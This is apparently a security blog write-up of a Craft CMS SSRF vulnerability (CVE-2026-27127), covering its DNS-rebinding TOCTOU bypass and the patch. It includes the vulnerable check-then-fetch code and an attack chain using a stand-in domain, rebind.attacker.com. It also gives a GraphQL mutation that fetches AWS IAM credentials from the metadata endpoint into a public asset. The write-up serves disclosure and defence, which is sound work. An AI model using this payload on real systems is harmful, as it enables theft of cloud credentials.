Feb 24, 2026·6 min read·13 visits
A high-severity SSRF bypass in Craft CMS allows authenticated users to steal cloud metadata credentials. By using DNS rebinding, attackers evade the IP blocklist implemented in a previous patch. The fix involves moving validation to the HTTP client's connection phase.
Craft CMS, a popular choice for developers who like their content managed and their code explicitly typed, recently patched a Server-Side Request Forgery (SSRF) vulnerability. Or so they thought. CVE-2026-27127 describes a classic Time-of-Check-Time-of-Use (TOCTOU) race condition that renders the previous fix useless. By exploiting the tiny temporal gap between validating a hostname and actually fetching it, attackers can utilize DNS Rebinding to trick the server into pouring its internal cloud secrets—like AWS IAM credentials—directly into the attacker's hands. This is a story of why blacklisting IP addresses in application code is a game of whack-a-mole you will eventually lose.
Craft CMS is generally robust, but like any modern platform, it exposes a lot of power through GraphQL. The vulnerability resides specifically within the Asset mutation logic. The idea is simple and user-friendly: you want to upload a file, but the file is currently hosted on another server. So, you provide a URL, and Craft CMS fetches it for you. It's the classic "fetch-from-url" feature that keeps security researchers employed.
The feature allows a user (with appropriate permissions) to send a GraphQL mutation containing a url parameter. The server accepts this URL, downloads the content, and saves it as an asset in a defined volume. Under normal circumstances, you'd use this to import an image from a CDN or a partner site. But hackers aren't interested in your stock photos. They are interested in what else the server can see that the outside world cannot—specifically, the internal network and the magical cloud metadata IP addresses.
Previously, Craft CMS attempted to patch this by implementing a blacklist. They effectively said, "If the user asks for 169.254.169.254 (the AWS metadata endpoint), say no." This sounds logical, but it assumes that the name you check is the same as the address you visit. In the volatile world of DNS, that is a dangerous assumption.
The root cause of CVE-2026-27127 is a textbook Time-of-Check Time-of-Use (TOCTOU) race condition. The developers implemented a check (T1) where they resolved the hostname provided by the user and verified that the resulting IP address was not on a naughty list. If the IP was clean (e.g., 1.2.3.4), the code proceeded to the use phase (T2), where it handed the original hostname to the Guzzle HTTP client to perform the download.
Here is where the logic falls apart: Guzzle (wrapping libcurl) does not know or care about the IP address resolved in T1. It performs its own DNS resolution to establish the connection. This creates a temporal gap—milliseconds of opportunity—where the DNS record can change. If an attacker controls the authoritative nameserver for the domain, they can serve a harmless IP at T1 and a malicious IP at T2.
This is akin to a bouncer checking your ID at the club entrance, verifying you are 21, and then letting you walk in. But in the three seconds it took you to walk from the door to the bar, you magically transformed into a toddler. The bartender (Guzzle) doesn't check your ID again; they just serve you the drink because the bouncer let you in. In this case, the "drink" is the AWS Instance Metadata Service, and the "toddler" is a malicious script.
Let's look at the logic flow that enabled this. The vulnerable code in src/gql/resolvers/mutations/Asset.php looked something like this (simplified for clarity):
// THE CHECK (T1)
// Resolve the hostname to an IP manually
$ip = gethostbyname($urlHostname);
// Check if this IP is in the forbidden list (e.g., 169.254.169.254)
if ($this->isIpBlocked($ip)) {
throw new UserError("Restricted IP address.");
}
// THE USE (T2)
// If we pass the check, use the original URL to fetch the file
$client = new \GuzzleHttp\Client();
$client->request('GET', $url, ['sink' => $tempPath]);See the disconnect? gethostbyname handles the validation, but $client->request handles the execution. An attacker sets up a DNS server with a very short Time-To-Live (TTL) of 0 seconds. When the application runs gethostbyname, the attacker returns 8.8.8.8 (Google DNS, perfectly safe). The check passes.
Immediately after, gethostbyname returns, and Guzzle starts its work. Guzzle asks for the IP of the same hostname. Since the TTL was 0, the cache is invalid, and a new query goes to the attacker's nameserver. This time, the attacker returns 169.254.169.254. Guzzle happily connects to the internal metadata service, unaware that the "Check" phase saw a completely different reality.
To exploit this, we don't need complex buffer overflows; we just need a custom domain and a small script. Tools like singularity or rbndr.us make this trivial. We configure a domain, say rebind.attacker.com, to alternate its A records between a safe public IP and the target internal IP.
The Attack Chain:
< 4.16.19) and that the GraphQL API is exposed with Asset creation permissions.rebind.attacker.com to resolve to 1.2.3.4 (Safe) on the first query, and 169.254.169.254 (Target) on the second query.mutation {
save_Images_Asset(_file: {
url: "http://rebind.attacker.com/latest/meta-data/iam/security-credentials/admin-role"
filename: "pwned.json"
}) {
id
url
}
}pwned.json in the public assets volume. The attacker then simply browses to the asset URL provided in the response and downloads the keys. Game over.The fix, applied in commit a4cf3fb63bba3249cf1e2882b18a2d29e77a8575, changes the paradigm entirely. Instead of checking the IP before the request, the developers moved the validation inside the request lifecycle using Guzzle's ON_STATS option. This callback allows the code to inspect the transfer statistics, specifically the primary_ip, which represents the actual IP address used for the connection.
Here is the patched approach:
$client->request('GET', $url, [
RequestOptions::ON_STATS => function(TransferStats $stats) use ($url) {
// Now we validate the ACTUAL IP used by Guzzle
$actualIp = $stats->getHandlerStat('primary_ip');
if (!$this->validateIp($actualIp)) {
throw new UserError("Blocked: " . $actualIp);
}
}
]);By validating primary_ip, the check occurs post-resolution but pre-completion. If the resolution points to 169.254.169.254, the validateIp function catches it, and the request is aborted (mostly).
Researcher Note: There is a subtle imperfection here. Because the request uses RequestOptions::SINK to stream the file to disk, it is possible that some data is written to the temporary file before the ON_STATS callback fires and throws the exception. While the request is marked as failed, if the application doesn't aggressively cleanup the temporary file, a partial artifact might remain on disk. However, for a high-level retrieval of credentials, this patch effectively kills the straightforward rebinding vector.
CVSS:4.0/AV:N/AC:H/AT:P/PR:L/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N| Product | Affected Versions | Fixed Version |
|---|---|---|
Craft CMS Pixel & Tonic | >= 4.5.0-RC1, <= 4.16.18 | 4.16.19 |
Craft CMS Pixel & Tonic | >= 5.0.0-RC1, <= 5.8.22 | 5.8.23 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-367 (TOCTOU) |
| Attack Vector | Network (DNS Rebinding) |
| CVSS Score | 7.0 (High) |
| Privileges Required | Low (Authenticated User) |
| Impact | Confidentiality Loss (Cloud Metadata) |
| Exploit Status | POC Available |